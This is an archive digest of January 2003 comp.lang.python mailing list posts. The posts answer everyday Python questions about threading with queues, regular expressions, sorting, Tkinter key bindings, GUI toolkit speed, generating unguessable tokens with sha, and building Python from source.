> parent object that has a Queue and a Thread as members. I want the
> parent object to create the thread, tell it to write to to the Queue
> object, then start the Thread. How do I do this? How do I get a
> reference to an object?
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Did you read http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965 ?

What part of ThreadedClient didn't you understand?  That's the
parent object, that has a Queue  (made like this)
       
       self.queue = Queue.Queue()

and a Thread (made like this)

       self.thread1 = threading.Thread(target=self.workerThread1)

you start the thread like this:

       self.thread1.start()

when workerThread1 wants to write to the queue it does this:

       self.queue.put(msg)

Please let me know what confused you.  I want this recipe to be really
easy to understand, and I cannot fix the confusing bits if I do not know
what they are.  All the 'master' gui stuff?

Laura Creighton
     
    




From aleax at aleax.it  Sun Jan 26 10:39:40 2003
From: aleax at aleax.it (Alex Martelli)
Date: Sun, 26 Jan 2003 15:39:40 GMT
Subject: Getting SuperUser Authority From Within Running Python Program
References: <mq7v0b.6g8.ln@boundary.tundraware.com> <mailman.1043541527.18943.python-list@python.org> <2ot01b.atg.ln@boundary.tundraware.com>
Message-ID: <0jTY9.115802$AA2.4945038@news2.tin.it>

Tim Daneliuk wrote:
   ...
> I am curious about one thing you said - that setuid is ok for selected
> (compiled) programs but not scripts.  If the script has appropriate
> limitations on who can modify it, why is setuid/setgid worse for
> scripts than compiled programs?

A good overview of Unix and Linux security issues is:

http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/

In particular, some of the specific issues with setuid scripts, and
why Linux simply ignores the setuid bit on scripts, are explained in:

http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/processes.html


Alex






From nav at adams.patriot.net  Fri Jan 17 14:48:29 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 17 Jan 2003 14:48:29 -0500
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <mailman.1042829560.30111.python-list@python.org>
Message-ID: <yyysmvrsgky.fsf@adams.patriot.net>

Laura Creighton <lac at strakt.com> writes:

> Well, you could reverse the string and operate on that, and then reverse 
> it back ...

You mean kinda like (untested):

l = map(lambda c: c, s)
l.reverse()
i = 0
ret = ''
for ch in l:
    if i and not i % 3:
        ret = ',' + ret 
    ret = ch + ret
    i += 1

Don't need a second reverse, but it doesn't help much. Maybe it's too
much cold symptom suppressor (or not enough?), but this is making me
feel stupid (more so than usual).

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From clifford.wells at attbi.com  Tue Jan 28 02:08:37 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 27 Jan 2003 23:08:37 -0800
Subject: How to do this in Python...
In-Reply-To: <b151vs$qbr$1@wheel2.two14.net>
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
	 <HJ3Z9.987$P64.136@nwrddc02.gnilink.net> <b14p8o$q9c$1@wheel2.two14.net>
	 <mailman.1043723992.21150.python-list@python.org>
	 <b151vs$qbr$1@wheel2.two14.net>
Message-ID: <1043737716.19419.195.camel@x1-6-00-04-5a-64-c4-03>

On Mon, 2003-01-27 at 20:46, Martin Maney wrote:

> Yes, I've seen this before.  As presented I don't see how it fits the
> use case at all: how do you select the action to take that depends on
> which pattern matches?  If you extend it to include that, it only gets
> heavier, and in every example I've seen it breaks the simple and
> obvious relation between the pattern and the action that's associated
> with it.
> 
> The simple code-pattern (pseudo code to avoid controversial syntax)
> 
> if pattern1 matches target:
>     process results as type 1
> elif pattern2 matches target:
>     process results as type 2
> ...
> 
> concisely but cleanly captures the key design elements.  Most of the
> proposed work-arounds sacrifice one or more of its virtues:


Well, if conciseness is the goal, I'm shocked that no one has suggested
the obvious and practically idiomatic:


if filter(None, [match for match in [re.search(pattern1, target)]]):
    print "1", match.string
elif filter(None, [match for match in [re.search(pattern2, target)]]):
    print "2", match.string
else:
    print "no match"


And to think some people wanted to remove the functional tools in favor
of list comps when they are both equally readable, especially when used
in tandem.  Plus I think Tim Peters mentioned liking this sort of thing.


-- 
Cliff Wells <clifford.wells at attbi.com>





From ajit at cc.iitb.ac.in  Fri Jan 31 02:26:53 2003
From: ajit at cc.iitb.ac.in (ajit k jena)
Date: Fri, 31 Jan 2003 12:56:53 +0530
Subject: Help with Regular Expressions matching
Message-ID: <Pine.LNX.4.44.0301311248480.4213-100000@indica.cc.iitb.ac.in>

Hi,

I have the following requirement:

	I have a mailman mailing list. This is a public list where
	anyone can post without joining the list. But now I wish to
	restrict the posters to a particular set. In particular, what
	I want is to allow email addresses of the form:

		user at mydomain.name
		user at subdomain.mydomain.name

	I wish to disallow all other addresses.

Someone in mailman mailing list suggested a regular expression of the
form:

	^.*?@(?!your\.domain\.com$)

This only accepts addresses of the form user at your.domain.com. The
subdomain requirement I have shown above is not accepted.

As I am new to PYTHON regular expressions, I seek your help in
solving this issue.

Thanks for your time.
		
--ajit 

|------------------------------------------------------------------|
| Ajit K. Jena              Phone : (Office) +91-22-25768750       |
| Computer Centre                            +91-22-25767751       |
| Indian Institute of Technology    (Home)   +91-22-25768068       |
| POWAI, Bombay                     Fax   :  +91-22-25723894       |
| PIN 400076, India                 Email :  ajit at cc.iitb.ac.in    |
|------------------------------------------------------------------|




From derkgwen at HotPOP.com  Mon Jan 13 20:07:38 2003
From: derkgwen at HotPOP.com (Derk Gwen)
Date: Tue, 14 Jan 2003 01:07:38 -0000
Subject: Tk: How would I add an accelerator on a button/label in tkinter
References: <avvmn0$2l4$1@bob.news.rcn.net>
Message-ID: <v26omqiaqucn18@corp.supernews.com>

morden <morden at shadows.net> wrote:
# Derk Gwen wrote:
# 
# > # How could I make the button pressed when user presses Alt-P
# > # on the keyboard? I saw accelerators on menus in Tk screenshots
# > # found on the web but I haven't seen any on standalone buttons.
# > # Is there any way to get those?
# >
# > All a menu accelerator is is a comment on the displayed menu. To actually
# > implement the accelerator, you bind the key sequence to a command. 
# 
# Is there a platform independent way of doing this or I should
# use X11 specific commands for this?

In Tcl/Tk, you use the bind and bindtags commands.
	http://www.tcl.tk/man/tcl8.4/TkCmd/bind.htm
	http://www.tcl.tk/man/tcl8.4/TkCmd/bindtags.htm
I don't know about python.

--
Derk Gwen http://derkgwen.250free.com/html/index.html
I'm not even supposed to be here today.



From DennisR at dair.com  Sat Jan 18 18:31:38 2003
From: DennisR at dair.com (Dennis Reinhardt)
Date: Sat, 18 Jan 2003 23:31:38 GMT
Subject: socket programming strategy
References: <mailman.1042929275.30975.python-list@python.org>
Message-ID: <utlW9.855$LD.33@newssvr19.news.prodigy.com>

> select() calls inside threads, waiting for just one socket.
> Is this plan workable? Or have I missed something?

The downside of blocking sockets is that you need to be able to abort
process externally to exit.  The internal code cannot just set  flag and
expect all threads to exit.

In my case, this is mostly a development issue.  If one thread takes an
exception during development, I do want to exit, modify code, and try again.
In production, if one thread takes an exception, I do not want all other
threads to continue running..

Non-blocking sockets are a development convenience for me, one that I am
doing without because external abort is easy in most cases.
--

Dennis Reinhardt

http://www.dair.com





From warren.postma at adaptivenetworks.on.ca  Tue Jan  7 13:56:18 2003
From: warren.postma at adaptivenetworks.on.ca (Warren Postma)
Date: Tue, 07 Jan 2003 13:56:18 -0500
Subject: These are discouraging stats to Perlistas & Pythonistas...
In-Reply-To: <776e0325.0301070721.7405a312@posting.google.com>
References: <776e0325.0301070721.7405a312@posting.google.com>
Message-ID: <WoFS9.5368$Af2.577313@news20.bellglobal.com>

These stats confirm what we already knew, which is that there are more 
VB idiots and Cobol old-timers out there than you can possibly count. 
And Java? It's the new cobol.

Warren




From jorgencederberg at hotmail.com  Sat Jan  4 05:24:19 2003
From: jorgencederberg at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Cederberg?=)
Date: 4 Jan 2003 02:24:19 -0800
Subject: Newbie question on Re module
References: <Xns92F5826AE2F65jslmAAearthlinknet@130.133.1.4>
Message-ID: <cc197b7b.0301040224.554869e7@posting.google.com>

Josh <mlsj at earthlink.net> wrote in message news:<Xns92F5826AE2F65jslmAAearthlinknet at 130.133.1.4>...
> I am trying to strip out all binaries groups from a list of newsgroups. 
> Basically I wanted to write a regular expression that would match all non 
> binaries groups. But this does not seem to work:
> rgx=re.compile('[^(binaries)]'). My question is why not? How else would I 
> write the regex? I am a newbie at Regexes so please be kind:)
> 
> Josh

Hi Josh,

not exactly an answer, but another link
(http://db.cs.helsinki.fi/~hendry/python/). It is a playground area,
where you can enter some input and a regular expression, and then see
the results. Somewhat faster than using the interactive shell.

Regards
Jorgen



From phr-n2003b at NOSPAMnightsong.com  Mon Jan 27 19:23:36 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 27 Jan 2003 16:23:36 -0800
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org>
Message-ID: <7xy956jf5j.fsf@ruckus.brouhaha.com>

Tim Peters <tim.one at comcast.net> writes:

> [Paul Rubin]
> > Yes.  Mersenne Twister tries to have good statistical properties so
> > that your simulations won't be biased by accident.  But it makes no
> > attempt at all to thwart malicious attacks.  Also, the implementations
> > I've seen (I haven't looked at 2.3's) use just a 32-bit initial seed,
> > so it's fairly quick for an attacker to search this whole 32-bit space.
> 
> You can pass a long (unbounded) int to 2.3's seed(), and all bits are used,
> via the original authors' initialize-from-array-of-uint32 routine (the
> absolute value of the Python long is broken into 32-bit chunks for this
> purpose).

Thanks.  Note that the security of this scheme still depends on
getting an unguessable int to use as a seed, which is NOT an easy
thing to do.

If you have a way of getting a unique integer (say an increasing
sequence), a very simple way to turn it into an unguessable token is:

   import sha

   # make some secret string that's part of your server configuration
   # do NOT reveal it to attackers ;-)
   secret_prefix = "some fixed secret string--swordfish orangutan zorkmid"

   # and then to make a token
   token = sha.new(secret_prefix + str(unique_integer)).hexdigest()



From frithiof.jensen at removethis.ted.ericsson.dk  Tue Jan  7 07:41:00 2003
From: frithiof.jensen at removethis.ted.ericsson.dk (Frithiof Andreas Jensen)
Date: Tue, 7 Jan 2003 13:41:00 +0100
Subject: Zope, XML/XSL HTML, Mysql
References: <9tzS9.10989$oS1.48139@news-server.bigpond.net.au>
Message-ID: <avehaa$16a$1@newstoo.ericsson.se>

"Pete" <Pete at nospam.com> wrote in message
news:9tzS9.10989$oS1.48139 at news-server.bigpond.net.au...
> Hello,

> Does anyone know of any such components? or any suggestions to make the
> above more simplier or more effective use of existing code?

I *think* that the dom modules can actually do this - I vaguely remember
some xml.dom.minidom example lurking in the docs...section "13.7.2 DOM
Example" in the "Python Library Reference" ;-)





From hilbert at microsoft.com  Wed Jan 29 02:34:38 2003
From: hilbert at microsoft.com (Hilbert)
Date: Tue, 28 Jan 2003 23:34:38 -0800
Subject: formatted output of mutable data types
Message-ID: <v3f10h88o2vodb@corp.supernews.com>

Hello,

Is there a way to output a more visual representation of a mutable data type
(eg. dictionary) like perl's Data::Dump?

Thanks,
Hilbert






From mtiller at ford.com  Thu Jan 23 16:40:02 2003
From: mtiller at ford.com (Michael Tiller)
Date: Thu, 23 Jan 2003 16:40:02 -0500
Subject: How to do this in Python...
Message-ID: <b0pnfa$o8m2@eccws12.dearborn.ford.com>

I'm puzzled by what seems like a missing piece of functionality in Python.
I suspect there is a simple way to do what I want to do and I'm guessing
someone here can point it out to me.  Here is the issue:

In C++, I could write a statement like this:

if (match=re.match(pattern, string))
  // do something with the match object

But I cannot figure out how to do the equivalent thing in Python.  The idea
here is to have an assignment statement within an if statement so that I
don't have to call match twice or obfuscate the code.  It seems to me that
my current options are:

match = re.match(pattern, string)
if match:
  // do something with match object

-or-

if re.match(pattern, string):
    match = re.match(pattern, string)

The first one seems unnecessarily verbose and the second one is inefficient.
Are there any other options?

--
Mike






From adalke at mindspring.com  Tue Jan 28 08:22:49 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 28 Jan 2003 06:22:49 -0700
Subject: sort by last then by first
In-Reply-To: <3E365531.3090909@Linux.ie>
References: <1964c4d7.0301271648.18dba0b3@posting.google.com> <3E362DDB.2020603@hotmail.com> <sssZ9.94053$0v.2742655@news1.tin.it> <3E365531.3090909@Linux.ie>
Message-ID: <b1607o$2iq$1@slb5.atl.mindspring.net>

Padraig at Linux.ie wrote:
> wouldn't it be cool if [].sort() took an optional parameter that
> was essentially the --key option in gnu sort. in this e.g:
> 
> names.sort("--key=1,1 --key=0,0")
> 
> or for more complicated forward and then reverse sorting like you
> suggested:
> 
> names.sort("--key=1,1r --key=0,0")

No, it would not.

1) requires dispatch based on type (string vs. function)

2) would be just about the only function where the argument
parameters are serialized into a string.  (Are there others
in the standard library?)

3) non-obvious (to me at least) on what the different args mean
(eg, why "--key=1,1" instead of "--key=1"?  I'm guessing it's
because the key is start/end column, in which case it disagrees
with Python syntax of start/end+1 column, as in "--key=1,2
--key=0,1".  Then again, why have the '--key' term, expressing
it perhaps as "1r,0" or even support range values as "(1,3),5,4"
or "(1,3),(5,3)" which sorts on rows 1, 2, 5, 4.  And is 1 the
first column or the second?)

4) More generic to have a parse function which turns such a
string into a comparison function, so you have

names.sort(GnuSortOpt("--key=1,1 --key=0,0"))

5) Doesn't handle the more common case of sorting by
attribute name.

					Andrew
					dalke at dalkescientific.com




From mwm at mired.org  Mon Jan 20 12:13:33 2003
From: mwm at mired.org (Mike Meyer)
Date: Mon, 20 Jan 2003 17:13:33 GMT
Subject: Continuations
References: <%JKW9.76002$H7.3528201@news2.calgary.shaw.ca>
Message-ID: <x7vg0j3fsp.fsf@guru.mired.org>

Gregor <palam_POOP_edes at softhome.net> writes:

> I came across an introduction to Stackless Python and continuations which 
> piqued my interest. It gave the following example to illustrate how a 
> continuation works:
> 
> def looptest(n):
> 
>     this = continuation.current()
> 
>     k = this.update(n)
>       # continuation at "="
>     if k:
>         this(k-1)
>         # resuming at "="
>     else:
>         del this.link
> 
> 
> Can anyone tell what "this.update(n)" is, does, or represents? I 
> understand the basic idea of what a continuation is, but that by itself 
> isn't enough background for me to guess what all the terms mean.

Chirtian said stackless Python no longer uses continuations, so you
may want to ignore this. What I think is missing is a comment about
what's returned.

this.update captures the state of the computation and saves it in
this, so that the return from this.update will happen every time this
is called. The value returned by the capture is n. The value returned
by invocations of this is the argument to this.

You are not expected to understand this.         (Unix kernel hackers joke.)

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From alan_salmoni at yahoo.com  Sun Jan 26 09:44:39 2003
From: alan_salmoni at yahoo.com (Alan James Salmoni)
Date: 26 Jan 2003 06:44:39 -0800
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com>
Message-ID: <b68f71a7.0301260644.71c9909e@posting.google.com>

What a question! Umm, I've tried a few different things, but always
find myself drawn back to the SciTE editor. It has syntax
highlighting, auto-indent and so on, and you just press F5 to run the
program. wxPython progs run nice on it!

http://www.scintilla.org/SciTE.html

Alan.

"Norm" <norm at norm.com> wrote in message news:<3e32a1a6_4 at corp.newsgroups.com>...
> I'm really just getting started in Python with the goal of improving my
> Linux networking administration.
> 
> I'm learning / practicing with IDLE Python GUI.
> 
> Q.  What does the real Python community use for creating Python programs?
> 
> Thanks
> norm
> 
> 
> 
> 
> 
> 
> -----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
> http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
> -----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From no_replies at fake_email_address.invalid  Fri Jan 24 12:14:05 2003
From: no_replies at fake_email_address.invalid (Robert Oschler)
Date: Fri, 24 Jan 2003 17:14:05 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <mailman.1043252741.1779.python-list@python.org> <LtEX9.134$0L3.63489@news2.news.adelphia.net> <mailman.1043290900.16874.python-list@python.org> <JhMX9.441$0L3.173271@news2.news.adelphia.net> <mailman.1043344317.16508.python-list@python.org> <KAWX9.529$0L3.274661@news2.news.adelphia.net> <slrnb3276j.ok.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <xveY9.848$0L3.495031@news2.news.adelphia.net>

"Gerhard H?ring" <gerhard.haering at opus-gmbh.net> wrote in message
news:slrnb3276j.ok.gerhard.haering at haering.opus-gmbh.net...
>
> Please use the (noexistant) .invalid top-level domain instead. It's meant
for,
> well, invalid domain names, just like .test is meant for DNS test setups
:-)
> This way, any reply bounces at the first relay if somebody replies. Some
> MUAs/NRs even warn you if .invalid is the TLD.
>
> I'd suggest you use something like:
>
>     no.direct.replies at please.invalid
>

Done and test.







From peter at engcorp.com  Tue Jan 28 09:13:59 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 09:13:59 -0500
Subject: Can you do it faster? (parsing text file)
References: <3e3650fc.2103718@news.easynews.net>
Message-ID: <3E369027.FCEF7940@engcorp.com>

Marcus Stojek wrote:
> 
> Below you find an example that generates a dummy file and parses it.
> On my office PC it takes 16 seconds for preparing the token list and
> 16 seconds for parsing. This is too slow for me. 

Could you provide an upper limit you are willing to accept for the
speed of the program?  

I assume you have many such files.  How many?  What's the total length
of time you are willing to wait for the processing?  And how often does
the processing of each file have to be done?  Do you have the option
of just running the script at night automatically, or something creative
like that?  

-Peter



From gerhard.haering at gmx.de  Thu Jan  9 17:19:46 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 9 Jan 2003 22:19:46 GMT
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de>
Message-ID: <slrnb1rtc1.ek.gerhard.haering@lilith.my-fqdn.de>

Gerhard H?ring wrote:
> Rick Richardson wrote:
>> 
>> I'm currently reviewing technologies for a large, gui intensive application.
>> We're planning on having a template driven dynamic gui system, but having
>> written Java gui's in the past I'm concerned that python may share java's
>> affliction and be slower than molassses in January.
>>  
>> Can anyone out there comment on the relative speed of Java's gui libs and
>> any one of the python gui libs?
> 
> Sure I can. Try it out.

Ok, that reply was a /little/ short and missing a smiley.

The GUI tookits I know (wxWindows, PyQt) contain demo programs that
should show the speed of the GUI tookit quite easily.

And if you want to create an abstraction layer on top of the GUI
tookit (like "template driven GUI system" suggests), then I don't
think you can avoid doing proof of concepts for your own evaluation
anyway.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From BgPorter at NOartlogicSPAM.com  Mon Jan 27 15:12:43 2003
From: BgPorter at NOartlogicSPAM.com (Brett g Porter)
Date: Mon, 27 Jan 2003 15:12:43 -0500
Subject: Google Web Api
References: <3E3592D8.9000306@snafu.de>
Message-ID: <ENScnUwZseX3D6ijXTWcrg@comcast.com>

"T. Kaufmann" <merman at snafu.de> wrote in message
news:3E3592D8.9000306 at snafu.de...
> Hi,
>
> a question:
>
> is there a Python-Module to access the Google Web Api?
> In the Google *.zip file are only Java & .Net files.
>
Google knows the answer...

http://diveintomark.org/projects/pygoogle/index.html






From chris.lyon at spritenote.co.uk  Wed Jan 29 13:47:45 2003
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 29 Jan 2003 10:47:45 -0800
Subject: traditional tk inter problem
Message-ID: <d232c5e.0301291047.774dbf67@posting.google.com>

I am trying to upgrade my Mandrake 9.0 base installation of python
(2.2.1) to 2.3a with which I hope to use PIL 1.1.3.

I have downloaded the .tgz file and unzipped and untarred it, 
Run ./configure
make
make install

every time I get as the last line a message to the effect that I
cannot run idle without _tkinter.

I have been back a forward through the archives of this list and as a
result have:-

downloaded and installed tcl8.4,tk8.4
I have checked that I have X11 components loaded,
I have edited the setup.py ( which isn't in Modules directory on this
new dist)
to include /usr/local/lib and /usr/local/include by adding these to
the end of the lists in this file and yet it still complains.

I have tried removing 2.2.1 using the mandrake rpm tool but it doesn't
go away,
I now have python 2.3a loaded ( it runs when I type python2.3a at the
command line). But any version of idle has now vanished.
 
I get precisely the same problem with 2.2.2 so I know it's a problem
on my system but how do I locate the offending issue? I can't even see
a specific point in the make output that indicates it's failing...

I do get a lot of warnings from the compiler about 
changing search order for system directory "/usr/local/include" 
as it has already been specified as a non-system directory.

I have a tcl/tk 8.3 install in /usr/lib and 
a tcl/tk 8.4 in /usr/local/lib. I presume this has something to do
with it but as to why one is installed in one place and the other is
installed elsewhere I cannot fathom.

also, as a unix aside, once you have performed the ./configure, make,
make install
dance how do you REMOVE an installation? this is becoming a pressing
issue as I now have enough python versions to start a small snake
restaurant.


-------- From here on in I'm feeling sorry for myself but would
appreciate a comment or two-----

As someone trying to shed myself of my Windows background, I have
managed to confirm my suspicions that I know far less than I thought I
did, I am working entirely alone and have no friendly guru to consult
( except for lists like these ) but why is this so difficult? What
extra facilities do you gain by having these installations so flexible
as to require such intimate knowledge of the system? I've been at this
two days and really feel I have made an decent attempt at solving this
for myself. I haven't even tried going near PIL yet and all I really
want to do it plot a graph in a webpage...

------ sulk over  -------



From tdelaney at avaya.com  Tue Jan 28 19:05:03 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Wed, 29 Jan 2003 11:05:03 +1100
Subject: java introduction for pythonistas
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADBF5D@natasha.auslabs.avaya.com>

> From: Alex Polite [mailto:m2 at plusseven.com]
> 
> java") I'm more interested in OO design patterns that Java supports (I
> know that it supports interfaces for one thing) that are not readily
> available in python, and other important differences. Is it possible
> to define new classes, functions, methods in Java? Are there 
> even unbound

One thing you will find is that a lot of patterns that Python supports
trivially are quite cumbersome in Java.

For example, the "Visitor" design pattern is trivial in Python - in fact, it
is fundamental to the language:

    for item in iterable:
        item.visit()  # or appropriate method

OR

    [ item.visit() for item in iterable ]

OR

    map(lambda item: item.visit(), iterable)

In java, each of these correspond to something like:

    Iterator iter = iterable.iterator();

    while (iter.hasNext())
    {
        ObjectSubclass item = (ObjectSubclass) iter.next();
        item.visit();
    }

Technically, the latter two correspond to:

    Iterator iter = iterable.iterator();
    List results = new ArrayList()

    while (iter.hasNext())
    {
        ObjectSubclass item = (ObjectSubclass) iter.next();
        results.append(item.visit());
    }

There are plenty of other cases like this.

Tim Delaney




From creyes at ea.com  Tue Jan 14 14:07:12 2003
From: creyes at ea.com (Christian Reyes)
Date: Tue, 14 Jan 2003 11:07:12 -0800
Subject: Automating Web Interfaces with Python
Message-ID: <v28nvk9q8aav9e@corp.supernews.com>

Hi,
I'm doing some research into Python's ability to automate web interfaces.
Specifically through jsp's.
Not sure where to start on this though,
If anyone could provide some useful links to the subject that would be
fantastic

Christian





From james.kew at btinternet.com  Sun Jan 19 07:40:52 2003
From: james.kew at btinternet.com (James Kew)
Date: Sun, 19 Jan 2003 12:40:52 -0000
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain> <mailman.1042934674.24272.python-list@python.org> <slrnb2k5qs.93i.grante@localhost.localdomain>
Message-ID: <b0e6cm$oj4ul$1@ID-71831.news.dfncis.de>

Grant Edwards wrote:
>
> The "+" operator can mean several things:
>
>  integer addition
>  pointer addition
>  floating point addition

Add, add, add. All addition. The details may vary slightly (pointer
arithmetic, for example) but the basic semantics are the same.

>  unary postive

That's a different operator -- it's unary, not binary. The fact that it's
represented by the same character in source code is a matter of syntax, not
of operator overloading.

--
James Kew
james.kew at btinternet.com





From aka at mvps.org  Fri Jan 17 23:18:40 2003
From: aka at mvps.org (Alex K. Angelopoulos)
Date: Fri, 17 Jan 2003 23:18:40 -0500
Subject: time.sleep() under Windows
References: <mailman.1042838433.14134.python-list@python.org>
Message-ID: <b0akj2$n54r4$1@ID-136433.news.dfncis.de>

"Tim Peters" <tim.one at comcast.net> wrote in message
news:mailman.1042838433.14134.python-list at python.org...
> Jaw-dropping.  It was also enabled on Win9x, but I tested that and it caused
> system (OS) instability there.  We're never going to know why, so the
> ability to interrupt sleep() on Win9x was ripped out again.
>

Just a guess, since I don't know Python well enough to trace back the underlying
API calls, but the underlying system time calls on Win9x go back to an actual
BIOS Get Clock call of some kind - that's one of the reasons that the resolution
of most simple timer functions on Win9x systems are limited to about 55
milliseconds.  I wouldn't be surprised if it is never available to anything else
after the break. NT/2000/XP appear to do something completely different which
emulates the call.





From chris.lyon at spritenote.co.uk  Sat Jan 18 12:08:49 2003
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 18 Jan 2003 09:08:49 -0800
Subject: problem with the if statement and elif
References: <20030118022516.11673.00000074@mb-ce.aol.com>
Message-ID: <d232c5e.0301180908.53d912cf@posting.google.com>

ciouded0ne at aol.com (CIouded 0ne) wrote in message news:<20030118022516.11673.00000074 at mb-ce.aol.com>...
> hey i have a question i look at the tutorials that come for download with the
> python interpreter and whatnot and i can never get the if and elif to work for?
> is there a trick to it even though i copy it straight from the tutorial? im
> assuming i even downloaded a bad file or im doing it wrong and the tutorial is
> wrong but i dont think  i downloaded a bad file because this happened to me on
> all versions of the python interpreter. so any words of advice to help me out
> would be appreciated thanx.

When you say you are copying it are you cutting and pasting from the tutorial into 
the Development Environment?

If so you can get some form of syntax error.



From cuniREMOVE_THIS at programmazione.it  Thu Jan  9 10:13:47 2003
From: cuniREMOVE_THIS at programmazione.it (Antonio Cuni)
Date: Thu, 09 Jan 2003 15:13:47 +0000
Subject: Tkinter keybindings
References: <3n6cva.n64.ln@anto.cuni.lan> <avfjij$bcb$1@news2.tilbu1.nb.home.nl> <kumhva.h54.ln@anto.cuni.lan> <mailman.1042073298.11010.python-list@python.org>
Message-ID: <bj3kva.gsa.ln@anto.cuni.lan>

thanks to all, you have been useful!

Finally I solved my problem with this code:

txt = Text(root)
txt.bind('<Tab>', move_focus)

where move_focus is a function setting the focus on the next widget and 
returning "break": that return value stops Tk from calling the remaining 
callbacks, so the focus is moved without inserting any "tab" character.

ciao Anto
-- 
"Computer science is not about computers any more than astronomy
is about telescopes." -- EW Dijkstra



From tismer at tismer.com  Sun Jan 12 22:17:21 2003
From: tismer at tismer.com (Christian Tismer)
Date: Mon, 13 Jan 2003 04:17:21 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal
 Python project)
In-Reply-To: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net>
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net>
Message-ID: <3E222FC1.40908@tismer.com>

Bengt Richter wrote:
> At 03:39 2003-01-13 +0100, Christian Tismer wrote:
> [...]
> 
>>At the same time, as much as possible should become
>>pluggable. It will be possible to have MiniPy
> 
> [...]
> 
> Is "MiniPy" the official name ?

No.
There is no official name, yet.
For some time, I was thinking of
"Lilipyt".
"Ptn" was the first thought, while
not sounding very sexy just expressing brevity.
"Pippy" is already occupied.
"Minipy"? Well, there are so many "py" projects,
this makes it hard to come up with a good new name.

While a name is most unimportant for me,
I agree that it *is* important for the
community to be able to spell it.

Anyone having some good suggestions?

Good night -- chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From exarkun at intarweb.us  Fri Jan 24 17:04:24 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 17:04:24 -0500
Subject: How to do this in Python...
In-Reply-To: <b0s6fq$95s5@eccws12.dearborn.ford.com>
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com>
Message-ID: <20030124220424.GG15790@meson.dyndns.org>

On Fri, Jan 24, 2003 at 03:08:26PM -0500, Michael Tiller wrote:
> 
> [snip]
> 
> I want to be clear about something.  I have no particular fondness for
> the...
> 
> if (a=b) then ...
> 
> "feature" in C.  I agree that *THAT SYNTAX* is confusing.

  When all you're saving is a single line of code, I can't see why it's even
worth discussing at such length.  This is so commonly desired, though, that
a while ago I wrote this... http://intarweb.us:8080/evil/assignment.py
(Un)fortunately, with recent interpreter changes, it no longer works for
code anywhere but at the top-level of a module.

I imagine a similar function could be written that worked with more recent
versions of Python, if one so desired.  I think that if you're going this
route at all, an explicit function call is better than the bizarre list-comp
based solution discussed elsewhere in the thread.

  Jp

-- 
"There is no reason for any individual to have a computer in their
home."
                -- Ken Olson, President of DEC, World Future Society
                   Convention, 1977
-- 
